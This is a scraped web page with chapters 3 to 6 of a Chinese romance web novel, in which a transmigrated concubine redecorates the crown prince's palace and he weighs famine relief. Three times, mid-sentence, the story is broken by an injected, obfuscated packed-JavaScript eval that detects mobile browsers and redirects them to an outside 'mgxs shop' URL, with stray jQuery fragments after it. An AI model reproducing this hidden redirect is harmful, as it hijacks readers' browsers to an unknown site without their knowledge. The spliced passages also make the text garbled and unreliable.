《哄个太子当夫君》 3. 第3章 李扶楹一秒从高崇宴身上爬起来,也顾不上自己磕得膝盖疼,又赶紧把桌子从高崇宴的身上搬下来。 高崇宴垂眸顾了眼他那身已经被茶水泼湿的蟒袍,又看向李扶楹。 李扶楹赶紧用小手帮高崇宴擦衣服,“殿下你别生气,我给你擦擦。” 高崇宴直接站起来把身上的蟒袍脱了。 李扶楹揣着小手杵在一边,一副“知道错了”的样子。 高崇宴吩咐守在外面的宫女去拿一件干净的衣服过来。 宫女恭敬称是,不一会儿的功夫便捧着一件干净的蟒袍入内。 高崇宴言简意赅,“没有怪你。” 话是对李扶楹说的。 李扶楹眨眼睛。 高崇宴:“磕到了吗?” 他刚才看到李扶楹的膝盖好像碰到软榻了。 李扶楹是磕到了膝盖,但这会儿她不敢说,只嘟了嘟嘴。 高崇宴:“磕哪了?” 李扶楹这才超小声,“膝盖。” 这时宫女已经伺候高崇宴把衣服换好。 高崇宴又看向李扶楹,“过来,孤看看。” 李扶楹连忙乖巧走到高崇宴旁边坐下。 高崇宴仔细把李扶楹的中衣裤腿挽起,膝盖有一点红,但不要紧。 高崇宴把李扶楹的中衣裤腿放下,“以后不准这么冒冒失失的。” 李扶楹哦。 高崇宴无声叹了口气。 李扶楹直接盘腿坐到软榻上,她喜欢这么坐着,从前没穿书的时候,她打游戏都是这个姿势,可舒服啦。 高崇宴目光下移落在她两条白白嫩嫩盘在一起的腿上,名门贵女尤其讲究坐有坐相,站有站相,虽说李扶楹只是歌伎出身,但这种坐姿实在不雅。 李扶楹发现高崇宴在看她盘在一起的腿,一秒又伸开了。李扶楹就是有这个优点,觉得不好她就改,主打一个可塑性强。 高崇宴收回视线,“今天怎么睡到这么晚才醒,身体不舒服吗?” 李扶楹没听懂。 高崇宴没解释。 昨天晚上行房的次数有些多,高崇宴以为李扶楹身体不适,但既然没事,高崇宴便不必给李扶楹宣医官了。 高崇宴又道:“今天晋王和秦王来东都朝贺,孤晚上会在议政殿那边用膳。” 东都这边也有一个小朝廷,什么六部、都察院、通政司、五军都督府等等一应俱全,但归太子直管。 大周王朝的规矩,每逢过年,各地藩王都要先来东都朝贺太子,然后再去京城朝贺皇帝。 李扶楹不关心这些,因为从她打定主意要远离“刺王杀驾”、珍爱生命的时候,《大周王朝》这本书在她这里已经变成《笨蛋在东宫苟着的日常》了。 高崇宴继而站起身来,“孤去议政殿了,别再冒冒失失的磕着。” 李扶楹连忙乖巧哦,伸出两只小手跟高崇宴挥挥。 高崇宴做不来李扶楹的同款动作,虽然李扶楹做起来的确很可爱,但他一个大男人做起来就有可能是很可怕了。 高崇宴直接迈步离开寝宫往议政殿那边走去。 李扶楹坐在软榻上重新挽起裤腿,疼疼疼疼疼。 她刚才都没有好好看看自己的膝盖,不过的确就是有点红而已。 阿福走进寝宫里间就看到李扶楹正嘟着小脸在膝盖上吹吹。李扶楹的脸是肉嘟嘟的,又因为吹气而鼓鼓的,所以从阿福的角度看过去,李扶楹的侧脸特别像一只圆圆地小猫。 阿福被李扶楹可爱到,“夫人,您在做什么呀?” 李扶楹小孩子一样跟阿福撒娇,“阿福你看,我磕着膝盖了。” 阿福方才就听到寝宫里面那“噼里啪啦”的响声,她很担心李扶楹,但殿下没让她进,她也不敢往里面走。这会儿进来一看,原来是夫人又冒失了。 阿福笑着道:“夫人别担心,不碍事的,奴婢给您揉揉。” 李扶楹眉眼弯弯点头。 阿福连忙走到李扶楹身边帮李扶楹仔细揉捏膝盖,她的手法很好,起初揉捏起来有一点点疼,但很快就不疼了。 李扶楹顿时对阿福的手法赞不绝口,“阿福,你好厉害呀!” 阿福又笑着道:“这些都是奴婢应该做的。” 宫里的宫女们各个手艺了得,什么按摩之类的都是基操。古代没有按摩椅,全靠人工一双手,所以宫女们在接受培训的时候都要先把这些技能学会才行。 李扶楹抱住阿福,“阿福,幸亏有你呀!我们要一直做好朋友!” 阿福有些受宠若惊,“夫人,奴婢怎么敢跟您做朋友呢,您这是折煞奴婢了。” 李扶楹才不管,她是现代人,做不来那些封建糟糠高高在上的姿态,她就是喜欢把阿福当成朋友。 李扶楹在阿福的怀里蹭了蹭,“阿福,我们昨天买的东西放哪了?” 阿福笑着道:“奴婢给您放在外间了,您要去看看吗?” 李扶楹开心从软榻上站起来,“好呀好呀,走走走。” 主仆二人又一起手拉着手往寝宫外间走去。 其实,李扶楹也没买什么,都是些女孩子喜欢的布娃娃、以及粉红色的床单、被罩、以及可可爱爱的定制抱枕、以及可可爱爱的软榻垫子,以及粉粉嫩嫩的床幔布料,而已。 李扶楹不喜欢现在寝宫的布置,大抵随了高崇宴的风格,太过单调冷清,李扶楹喜欢可可爱爱的环境,所以,她亲自上街买了一大堆可爱的布娃娃,什么小狗、小兔、小猫、小马、小羊,然后准备把它们摆放到寝宫的各个地方。 李扶楹先把那些可爱的布娃娃都从包裹里拿出来,“阿福,你帮我把这些布娃娃都摆到寝宫里。” 阿福笑着应了声是,但一看那堆叠得跟小山一样高的布娃娃,又不太确定,“夫人,这些都要摆吗?” 李扶楹眉眼弯弯点头,“当然啦!现在的寝宫就黑白灰三种主色调,冷冷清清的我不喜欢。” 李扶楹说着就拿了布娃娃开始到处摆。 阿福跟在李扶楹身后也犹犹豫豫地摆,但她不确定李扶楹这样布置寝宫合不合适。 阿福是在东宫出生的小宫女,从小就负责帮忙收拾太子的寝宫,所以阿福特别知道太子殿下的喜好,如今夫人布置得这样可可爱爱,绝对不是殿下的风格。 阿福欲言又止,止又欲言,最后还是超小声提醒李扶楹:“夫人呀,您这样布置寝宫,殿下看到了会不会不高兴?” 李扶楹把那些可可爱爱的布娃娃都放好,“不会哒,我已经问过殿下啦,殿下说可以随我的心意布置。” 就是昨天晚上行房的时候问的,高崇宴当时答应的可痛快了。 李扶楹又看向床上的被子和床单,被子是灰色的,床单也是灰色的。 李扶楹已经对这两个色调 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17248732|197897||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的床单不满意很久了。 李扶楹看向阿福,“我昨天说把我买回来的床单被罩都先洗干净,洗了吗?” 阿福笑着称是。 李扶楹很开心,“那就拿来吧,把床单和被罩换了。” 阿福又笑着称是。 李扶楹踹掉鞋子爬到床上亲自把那些灰色的床单和被罩都拆下来,然后开开心心把灰色的床单和被罩裹成团,“丢”地一下就推到了床下。 阿福和其他宫女一起帮李扶楹把床单和被罩都换成粉红色。 李扶楹看那个床幔也不顺眼,里面那个珍珠帘子勉强还可以,但外面那个黑漆漆的布料,看着都不吉利。 李扶楹继而吩咐阿福,“把床幔也换了。” 阿福又笑着称是,然后麻利去拿来床幔,又喊来两个宫女一起帮忙换。 李扶楹亲自把软榻上的垫子也一并换掉,她花了不少钱,让人特意定制的软垫,各种可可爱爱的造型,有汉堡包、大白菜、胡萝卜、小蛋糕、甜甜圈,以及饭团子。 当时定做抱枕的店老板人都懵了,因为店老板从来没有接过这种造型的软垫制作。李扶楹也不跟店老板解释,毕竟隔着好几百年的代沟呢,反正她付钱,给她做出来就行。 李扶楹带着阿福还有其他宫女风风火火地在寝宫里面搞“装修”,等一套操作折腾下来,原本古色古香又单调冷清的寝宫顿时变得可可爱爱又软软萌萌。 李扶楹很满意。 这才是她喜欢的房间,有点像她穿书前自己卧室的风格,她住着舒服。 李扶楹开开心心坐到软榻上,软榻是饭团子形状的垫子,还带着大白菜形状的抱枕。李扶楹把抱枕抱在怀里往软榻上一靠,这会儿窗外的太阳已经开始落山,有阳光透过窗户落进来撒在李扶楹的身上,要多舒服有多舒服。 美好的人生! 从前总在书里看到过“王权富贵”,但在书里看到也就仅仅只是四个文字而已,而当这四个文字具体化呈现出来的时候,那感觉简直别提有多棒!该说不说,东宫真的很适合生活。这里隔绝了世间所有的疾苦,是真正的富贵之地。 李扶楹招呼宫女们也过来坐,“快过来歇会儿,累了吧。” 宫女们不累,更不敢随便坐。 李扶楹拉着宫女们非让她们坐,又把桌子上的糕点都分给宫女们吃,“你们喜欢吃糯米糕还是桃花酥?” 宫女们都憨憨地笑,“都行。” 李扶楹就一样给了宫女们一块,“我们一起吃呀。” 宫女们都很开心,“嘻嘻嘻。” 李扶楹:“嘿嘿嘿。” 《大周王朝》是权谋文,所以整本书里面并没有宫女们的戏份。所以,从某种程度上讲,这些宫女们是因为李扶楹穿进书里才诞生的新角色。 李扶楹很喜欢她们。 李扶楹跟宫女们继续炫糕点,又喝了一杯加了奶的茶。 吃饱喝足,李扶楹便带着宫女们出去溜达着逛东宫。 半个月了,李扶楹还没完全把东宫的地方记明白,倒也不是李扶楹的记忆力差,主要是东宫的面积实在是太太太大了。 用《大周王朝》原文的话描述:「那大周东都的皇宫,恢宏壮丽,雕梁画栋,朱甍碧瓦,足有一百多万平方米。」 当然,以上描述是指的东都这边整个皇宫的面积,并不是单指东宫。不过东宫的面积也不小就是了。 4.第4章 李扶楹打算从西边开始走,然后沿着宫人打扫干净的石子路一直往东。 阿福寸步不离地跟在李扶楹身边,每走到一个地方,李扶楹便会停下来瞅瞅。 阿福笑着对李扶楹道:“夫人,这是昭华殿,您要进去看看吗?” 李扶楹摇摇头,她知道是什么地方就行,没必要进去看。 李扶楹又蹦蹦跳跳往前面走。 阿福跟在后面继续科普:“那边是凤仪殿,往左拐一直走到头是荣锦堂。” 李扶楹停下脚步又看了看,感觉有点像5A级景区。 李扶楹继续往前走,顺着小路走到头又拐弯去了后院。 其实李扶楹也不敢走太远,很多地方比如议政殿、书房之类的,那都是禁地,李扶楹肯定不会冒冒失失地往里面闯。毕竟她再怎么努力洗白自己的人设,她归根究底都是楚王府送出来的人,有些事情她可以跟高崇宴撒娇卖萌,有些事情她不敢。毕竟这是权谋文,对待权谋文里的男主,李扶楹还是得有点分寸。 李扶楹弯下腰揉了揉腿。 阿福看到后连忙问:“夫人,您需要坐轿子吗?” 李扶楹笑着摇摇头,“不用的,我还能走。” 阿福也跟着笑。 一行人又继续走进花园,但这会儿是冬天,花园里面除了梅花之外都是枯枝,没有很好看的景色。李扶楹踩着石子路溜达了一圈,在南边的地方有一个石拱门,李扶楹看不清楚里面是什么,又踮起脚尖望了一眼。 阿福连忙道:“夫人,那边是菜园子。” 李扶楹稍微有点意外,“皇宫里面居然有菜园子?” 阿福点头,“后厨的菜不全是外面采买的,有些也是咱们宫里自己种的。” 李扶楹依旧踮着脚尖望,但看不清楚。 李扶楹对阿福道:“走走走,我们过去瞧瞧。” 阿福称着是。 李扶楹这才又拉着阿福一起往菜园子那边走去。 是个不算太大的菜园子,一共十行地,因为是冬天,蔬菜都还没有长出来,所以李扶楹也看不出地里都种了些什么。 李扶楹蹲下看了看那些蔬菜苗。 阿福主动向李扶楹道:“夫人,这边两行是菠菜,中间三行是黄瓜,最右边那些都是生菜。” 李扶楹好奇问:“为什么种这三样?是殿下喜欢吗?” 阿福说不是,“这是后厨的厨工随便种的,并没有什么特别的原因。” 李扶楹点了点头。 菜园子看过了,但没什么意思,李扶楹继而起身,“走吧,我们再去别处逛逛。” 阿福又恭敬称是。 离开菜园子,李扶楹有点累了,她沿着石子路往南走到头,便又拐弯往寝宫的方向走去。 李扶楹一边走一边弯腰从地上捧了一把雪。 阿福瞧见了连忙也要帮李扶楹一起捧。 李扶楹笑着道:“不用不用,我就是想捏个雪球玩,并不是需要这些雪。” 下雪自然是要捏雪球,不然这雪不就白下了。其实,李扶楹还想堆个雪人,但天太冷了,她不想在外面挨冻。 李扶楹把小雪团放在手心里一边走一边捏,等走到寝殿门口的时候,她已经捏了一只小猫猫头。但寝殿里面太热了,小猫猫头肯定不能拿进去,李扶楹左右瞅了瞅,然后走到房屋柱子旁边,小心翼翼把小猫猫头放在了柱子脚旁。 晚上,高崇宴从议政殿那边回到寝宫的时候已经是戌时过半。 轿子晃晃悠悠抵达寝宫外面又稳稳停下,高崇宴走下轿子迈上门口的台阶,走了一步又忽然顿足。 高崇宴的眼眸垂着,他目光所及,是一个躲在房屋柱子脚边的雪球,看那模样,像是一只猫。 不用想也知道是谁的杰作。 高崇宴收回视线,继而迈步走进寝宫。 李扶楹已经等在寝宫门口,高崇宴刚一掀开门帘走进来,李扶楹便立刻甜甜地给高崇宴行礼,“殿下,你回来啦!” 高崇宴刚要应声,迎面就看到一片粉红粉红的颜色。高崇宴顿了顿,下意识回头看了眼寝宫门口的方向。 他怀疑他走错了地方。 李扶楹蹦蹦跳跳走到寝宫的正中央转了个圈圈,“殿下好看吗?这是我布置哒!” 高崇宴:“……” 高崇宴这辈子活到现在都没见过这么多粉红色的东西。 李扶楹又跑到高崇宴身边抱住高崇宴的胳膊,“殿下,你喜不喜欢呀?我们的寝宫很漂亮吧!” 高崇宴不喜欢。 他简单冷清惯了,实在不适应这到处都是粉粉嫩嫩的样子。 “怎么把寝宫弄成这样?” 李扶楹在高崇宴的语气里听出了一点点不满意,立刻嘟了嘟小脸,然后垂下小脑瓜。 “原来殿下不喜欢,我还以为殿下会喜欢。我问过殿下了,殿下说了可以随我的心意布置,所以我特别用心布置了屋子,想着殿下肯定会开心,原来是我自作多情了,我知道了,我让她们立刻换回来就是了。” 高崇宴:“……” 高崇宴偏头看李扶楹一眼,后者小绵羊一样委屈巴巴的,好像随时都能被他凶哭。 高崇宴无奈叹了口气,“也没有……算了,孤没有不喜欢,不必换回来了。” 李扶楹一秒变脸,又喜滋滋抱住高崇宴的胳膊,“那就这样吧!我很喜欢!” 高崇宴:“……” 一旁的阿福和其他宫女都低下头偷笑,她们还是第一次见有人能拿捏住她们的太子殿下。 李扶楹连忙继续献殷勤,“殿下晚上喝酒了吧?我让人给殿下准备了醒酒汤,还有暖和和的热水澡,干干净净而且香喷喷的中衣,殿下请请请!” 高崇宴:“……” 李扶楹抱着高崇宴的胳膊就往水房的方向走,虽然高崇宴已经做好了心理准备,但一进水房高崇宴还是愣了下。 眼前,水房里面的帘子全部都换成了粉红色,连并他那张青竹图的屏风都换成了不知道是出自哪位名家之手的……反正很可爱的一只小白兔。 高崇宴默了片刻。 李扶楹是楚王府送来的美人,但高崇宴有些怀疑,以楚王的性子,就李扶楹这样的能在楚王府培养十几年也是离谱。 李扶楹亲自帮高崇宴拉开粉粉嫩嫩的帘子,“殿下请沐浴!” 高崇宴已经被李扶楹磨没了棱角,有些认命地走进水房,“下去吧。” 李扶楹甜甜微笑式服务,“好哒,那我就守在外面,殿下有什么需要就喊我哦!” 高崇宴不想说话。 李扶楹欢快地离开了水房。 高崇宴自己一个人在水房里面洗了一个暖暖和和的热水澡,洗完离开水房的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17253228|197897||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 时候,门外根本没有等候他的李扶楹。说好了有什么需要就喊她,但人根本找不着一点。 高崇宴面无表情迈步走回寝宫里间,不出意外,寝宫里间才是重头戏。不仅床单、被罩、床幔都换成了粉红色,连软榻上的软垫都换成了各种奇形怪状的样子。 高崇宴有些怀疑地拿起一个白菜抱枕,“这是什么?” 李扶楹:“白菜抱枕!” 高崇宴匪夷所思,“你放一个白菜的枕头在软榻上?” 李扶楹嗯嗯嗯,然后依次指着那些抱枕给高崇宴科普:“汉堡包、小蛋糕、甜甜圈、胡萝卜,还有这个,冰激凌!” 高崇宴没听懂李扶楹说的都是些什么,只默默把手里的白菜抱枕放下了。 李扶楹不是朝臣,不是政敌,她只是他的妾。所以,高崇宴根本拿李扶楹一点办法都没有。 算了。 高崇宴走到床上坐下。 李扶楹小孩子一样屁颠屁颠跟过去,鞋子一踹,一秒爬到床上,“殿下快躺下试试,科学表明……不,坊间传闻,好看的颜色有利于休息,睡觉也会更香。” 高崇宴默了一秒,“哪里的坊间传闻?” 李扶楹:“反正就是坊间传闻。” 高崇宴:“……” 李扶楹拉着高崇宴的手让他躺下,高崇宴也由着她,但对于高崇宴来说,不管是什么颜色,床就是床而已。 李扶楹撑着身子在高崇宴的上方看着他,“殿下,粉色是不是更舒服些?” 高崇宴没觉得更舒服,但烛火摇曳,粉粉嫩嫩的被子裹在李扶楹的身上,衬得李扶楹更加娇嫩可爱。 “粉色会让你睡得更舒服吗?” 李扶楹萌萌地点头。 高崇宴被李扶楹可爱到,心底莫名有些软,“那就这样吧。” 李扶楹开心钻进被窝里抱住高崇宴的胳膊,“殿下,外面那些长得像韭菜的盆栽不好看,我可不可以换成花呀?” 高崇宴在脑海中想象了一下长得像韭菜的盆栽,“菖蒲。” 李扶楹根本不care那是什么,所以,“可不可以换成花呀?” 高崇宴能说什么? “换吧。” 李扶楹喜滋滋的,“那还有那些大叶子菜……” 高崇宴:“落葵。” 李扶楹:“可不可以换成花呀?” 高崇宴闭了闭眼睛,“换吧,随你喜欢。” 李扶楹超级开心,“谢谢殿下!爱你哦!” 高崇宴已经开启已读不回模式。 李扶楹的小嘴巴还在“巴拉巴拉”,“殿下,桌子椅子的颜色也不好看,我喜欢粉粉嫩嫩的颜色,我们换成奶油……” 古代没有奶油色,白色又不吉利。 “粉色和蓝色吧,可以吗?殿下。” 高崇宴睁开眼睛偏头看向李扶楹,“早点睡吧,好吗?” 李扶楹一秒就把小嘴巴闭上了。 高崇宴重新闭上眼睛。 李扶楹也乖巧躺好闭上眼睛。 屋里亮极了,高崇宴闭着眼睛等了会儿发现身旁的人根本没有动作,又把眼睛睁开。 不远处的灯还亮着,这活儿应该是侍妾来做,但李扶楹都已经把眼睛闭上了,一副跟她没什么关系的样子。 高崇宴无奈叹了口气,自己起身走下床去把灯熄了。 5.第5章 次日李扶楹醒来的时候,高崇宴依旧是没了人影。李扶楹唤来阿福伺候她穿衣洗漱,然后去用早膳。 早膳用完,阿福用托盘捧着十两白银走进殿内,她恭敬向李扶楹行礼:“夫人,这是您的月俸。” 李扶楹微微有些意外,没想到她整日荣华富贵的在东宫过着小日子,居然还有工资可以拿! 李扶楹超级开心,美滋滋地看向那十两白银,但她不太清楚古代的货币,所以也不太清楚这十两白银是多还是少。 李扶楹想了想问阿福,“一般来说,良媛和良娣的月俸是多少银钱?” 太子的妻妾,按照规矩,正妻自然是太子妃,但妾室分三六九等。最尊贵的妾室是良娣和良媛,这两个位份虽然是妾,但也能担得起一声“娘娘”,只不过这两个位份不是谁都能做,得是出身高门大户的贵女才行。而剩下的诸如选侍之类的就很卑微了,一般对出身没有要求。像是李扶楹现在这个人设,楚王府的歌伎,就只能当个选侍。 阿福恭敬道:“回夫人的话,良娣的月俸是五十两,良媛是三十两。” 李扶楹懂了,她这十两银子属于低工资。 李扶楹:“那咱们殿下的月俸是多少?” 阿福:“咱们太子殿下的月俸是五千两。” 李扶楹默了一秒。 那她这十两银子还不够高崇宴月俸的零头,不过要是每个月都有的话,她这包吃包住的,这十两银子就是纯利润。 李扶楹一秒又把自己哄好了,她这人超级乐观,主打一个有就比没有强。 李扶楹眉眼弯弯摸着那十两银子,“今天是二十五,那我每个月的二十五都可以领十两银子对吗?” 阿福笑着纠正道:“夫人,咱们月俸发放的日子是每月初一,并不是二十五。您这十两银子是殿下今天特别吩咐管事送来的,往后您应该也是每月初一发放月俸银子。” 李扶楹不解,“那为什么这个月要二十五给我月俸银子呀?” 阿福:“奴婢听管事那边的人说,因为夫人您进府的时候已经过了本月初一,管事那边没有您的月俸牌子。原本,按照规矩,这个月您只有半个月的月俸,应该是等下个月初一一起发放。但殿下说,不差那半个月,让管事直接按照一整个月把银子给夫人,所以,管事这才记账后让奴婢把您这个月的月俸银子送过来。” 李扶楹的心里顿时甜甜的。 高崇宴这人能处,白送她半个月工资,真好! 阿福恭敬向李扶楹请示,“夫人,您看这银子给您收到哪里合适?” 李扶楹不懂,她这才第一次开工资。 李扶楹看向阿福,“一般这种情况收到哪里比较合适?” 阿福又笑着道:“可以放在管事那里记账,您若有需要,可以再去管事那里领。” 李扶楹开心点头,然后拿了一个银元宝放在手里,她是第一次见到真正的银元宝,有些稀罕,“剩下的这些银子放在管事那里记账吧,我留下一个。” 阿福笑着道:“是,奴婢记下了。” 李扶楹开心拿着那个银元宝把玩。 原来这就是真正的银元宝,跟电视上长得有点像,但并不完全一样。 李扶楹摸了摸银元宝的胖肚子,又亲了一下,真好,银元宝呢!可惜一个只有一两重,要是一个有一百两就更好了。 李扶楹仔细把她的胖胖银元宝收好,这钱不能花,得攒着,属于她的私房钱。等回头出去买买买的时候,还得走王府的公账,让高崇宴帮她买单。 李扶楹心情不错,起身溜达着走到寝宫门口。 这两天外面没再下雪,但是降温了,北风呼呼地吹,刮在人脸上跟冰刀子一样。 李扶楹扶着门框望了眼远处被风吹得摇摇晃晃的枯树枝子,然后问跟在她身后的阿福,“这个季节有韭菜吗?” 现代社会肯定是一年四季都有新鲜蔬菜可以吃,但古代条件有限,大多时候只能吃应季的蔬菜水果。但李扶楹想吃韭菜虾仁水饺了。 阿福连忙道:“有的,夫人。您是想吃韭菜吗?” 李扶楹没想到还真有,在李扶楹的认知里,古代的冬天可能也就只有白菜、土豆和大萝卜之类的。 李扶楹有些好奇,“原来韭菜是在冬天成熟吗?” 阿福笑着纠正道:“不是的夫人,韭菜的第一茬儿是在春天成熟,春天的韭菜最香最嫩。第二茬儿就是秋韭菜了,口感稍微差一些。但咱们宫里有火室,火室里面非常暖和,咱们把韭菜种在火室里,即便是冬天也能长出来。” 李扶楹惊讶张了张嘴,这不就是古代版的蔬菜大棚? “那个火室在哪里?我能去看看吗?” 阿福顿时有些为难。 李扶楹是夫人,想去看看火室没什么,但火室里面热,外面的天又冷,一冷一热万一让李扶楹受了风寒,阿福的脑袋就不用要了。 阿福轻声道:“夫人,那里怪热的,而且就是种菜的地方,到处都是泥。” 李扶楹有一点点不开心地哦了声,这话就是不让她去。 阿福又赶紧转开话题,“您要是想吃韭菜,奴婢这就去吩咐后厨,中午您就能吃上了。” 李扶楹想到韭菜虾仁水饺顿时又开心起来,“那我要吃韭菜虾仁水饺!” 阿福笑着称是。 李扶楹弯了弯眉眼,又补充了一句,“要大馅儿的!” 阿福依旧笑着称是,随即便吩咐人去后厨给李扶楹做韭菜虾仁水饺。 宫女领命一路小跑去了后厨,后厨的人连忙答应着,但等宫女一走,后厨的人又立刻派人将这件事儿汇报给了高崇宴身边的宫人。 太子殿下有令,夫人的一举一动,包括一日三餐吃什么饭在内都要汇报。 宫人得了消息,先是在心里嘀咕了一声。冬天的韭菜虽然能在火室里面生长,但长出来其实也不好吃。但宫人没敢多想,连忙便走进议政殿向高崇宴汇报。 这会儿高崇宴正在跟户部的大臣以及贺青云议政,东都这边今年的粮食收成不好,高崇宴决定减免赋税,并且开官仓赈灾放粮。 宫人一路小跑进殿内,先守着规矩向高崇宴行礼,“殿下。” 高崇宴抬眼皮扫视宫人。 宫人这才又赶紧恭敬道:“殿下,方才后厨那边的人来传话,说夫人中午想吃韭菜虾仁水饺。” 高崇宴没言语。 一旁的户部大臣不着痕迹看了眼高崇宴。 李扶楹的事情,东都这边的官员们都略有耳闻,据说是楚王送给太子的美貌歌伎,很是得宠。但楚王与太子不对付,太子能宠爱楚王送的美人,官员们着实有些意外。 高崇宴手微抬,宫人便立刻会意退下。 一旁的贺青云笑了声,“殿下的那位小夫人还挺会吃,这大冬天的吃韭菜,尽吃些稀罕物。” 高崇宴冷漠扫了贺青云一眼,“该你管的管,不该你管的别管。” 贺青云连忙敷衍道:“是是是,臣是提醒殿下,小夫人再可爱也带着刺呢。” 他是指的李扶楹背 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17262685|197897||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 后的势力,楚王。 贺青云从小就是高崇宴的伴读,对高崇宴忠心耿耿。贺青云不信楚王府出来的人能安什么好心,所以,李扶楹再可爱,贺青云也会觉得她碍眼。 高崇宴没搭理贺青云,继续让户部大臣汇报今年各部的支出。 东都的粮食收成不好,开官仓放粮没有问题,但前提是,粮食得先保证军队那边的供应量。军防是一个国家的重中之重,不遇到事儿便罢,若真遇到事儿,百姓们就是不吃不喝也得先供应军队打仗。 大周这两年的国库不算充盈,去年与北边金赫部一战虽然是赢了,但银钱也消耗不少。国家自己不造钱,钱就得从百姓们身上收,所以,百姓们这两年其实过得很不好。 高崇宴仔细看过东都这边六部的折子,尤其是兵部和工部。高崇宴问过这两个部门的尚书,一个问题出在年初修缮河道的工程,工部年初报的是三百万两,但年底一对账,工部给花出去三百八十万两,整整超支了八十万两。第二个是兵部为了军防建造了二百艘战船,这就是整整三百万两的开支。户部年底把账一结,账面上几乎没钱了。而东都这边如果要发放粮食给百姓,最低也得需要七十五万两白银。换句话说,真要开官仓赈灾放粮,东都今年就是亏空。 高崇宴是太子,一年干到头却弄了个亏空,面子上能好看?但这还真不能怪高崇宴,因为年初修缮河道的工程不应该从东都这边拨款,那是朝廷的工程,但朝廷没钱,硬是把工程压给了东都这边。 户部大臣叹了口气,“殿下,要不赈灾这钱就折半吧。” 高崇宴顾着桌案上户部的折子。 折半起码账面上不会亏空,但百姓们就吃不饱了。 高崇宴把折子一合,“先让百姓们吃饱饭,剩下的事情,孤再想想办法。” 这意思是,按照标准开官仓赈灾放粮。 户部大臣只能恭敬称是。 议完赈灾放粮,户部大臣便退下了。 贺青云还想再跟高崇宴叨叨几句李扶楹的事儿,但高崇宴不爱听,也让贺青云退下了。 高崇宴又自己在议政殿看了会儿奏折。 午时,有宫人走进殿内向高崇宴恭敬请示:“殿下,您现在用膳吗?” 高崇宴没心情,手微抬示意宫人退下。 宫人担心高崇宴的身体,“扑通”一声跪到地上,“殿下,政事再忙,您也要先用膳呐。” 高崇宴蹙眉。 宫人又大着胆子道:“奴婢听说夫人那边的韭菜虾仁水饺很好吃,夫人今个儿中午用了整整一盘子,要不殿下您也尝尝吧?” 高崇宴把手里的奏折扔到一边,不重不轻地一声响。 宫人因为这一声响顿时吓了一身冷汗。 高崇宴继而拿了本新奏折继续批阅,跪在地上的宫人彻底不敢说话了,只小心翼翼退出殿外。 太子是好太子,但太子没有三头六臂。皇帝之前因为打仗消耗了不少钱,国库亏空,很多事情都硬压给东都这边。而太子镇守东都,一边要给皇帝分忧,一边要安抚东都的百姓,一边还要建设军防,这么多大大小小的事情摆到太子面前,太子的压力可想而知。 宫人在心里叹了口气,退到殿外后,伸手招呼过来一个小宫人,“去寝宫一趟,就说,太子殿下中午没有用膳。” 寝宫的那位夫人是太子殿下目前唯一的妾室,他这话传过去,只要那位夫人不傻,应该能听明白他是什么意思。 小宫人恭敬称是,连忙一溜儿小跑往寝宫的方向去。 6.第6章 寝宫那边,李扶楹刚刚吃完一大盘韭菜虾仁水饺,这会儿有点撑,一边揉着肚皮一边跟阿福道:“阿福,晚上不用让后厨做饭了,我不吃了,好撑啊。” 阿福掩唇笑,“夫人,这才刚刚午时过半,离晚膳的时辰还早呢,您一会儿活动活动,晚上肯定又饿了。” 她话音才刚落下,门外便走进来一个宫女。 宫女恭敬向李扶楹行礼,“夫人,方才议政殿那边有宫人过来传话,说殿下今天中午没有用午膳。” 李扶楹愣了下,她没听懂这话里的意思。 高崇宴没用午膳跟她说什么?她也不能替高崇宴把饭吃了。 但阿福听懂了。 阿福先打发宫女下去,然后才又恭敬对李扶楹道:“夫人,您亲自端一盘水饺去议政殿吧。” 李扶楹一脸茫然,“为什么?” 阿福巧声解释道:“殿下没用午膳一定是在为了朝政之事忧心,下面的人也劝不动,夫人应该去关心殿下才是呀。” 李扶楹:“……” 她这才刚吃饱就来活儿了,不开心+1。 但是,高崇宴是她的金主、ATM机、保命符,所以,李扶楹告诉自己,拿人钱财,就要给人家提供情绪价值。 阿福转身去拿了件大氅披到李扶楹的身上,“夫人这就快些去吧。” 李扶楹下意识看了眼桌面上已经空了的水饺盘子,她不确定她是否要先去后厨端水饺。 阿福又会意笑着:“夫人不必担心,奴婢会通知后厨煮好水饺直接送去议政殿那边的。” 李扶楹乖巧点头,这才坐着轿子往议政殿的方向走去。 从寝宫到议政殿的路程不算近,寝宫属于后宫,议政殿属于前朝。李扶楹坐在轿子里面一边把玩着小暖炉,一边琢磨着一会儿该怎么劝高崇宴吃饭。 李扶楹从来都没有做过这种活儿,因为在她的认知里,吃饭还用劝啊?当然是饭菜一端上桌就开始“库库”炫。正所谓,人是铁饭是钢,一顿不吃饿得慌。 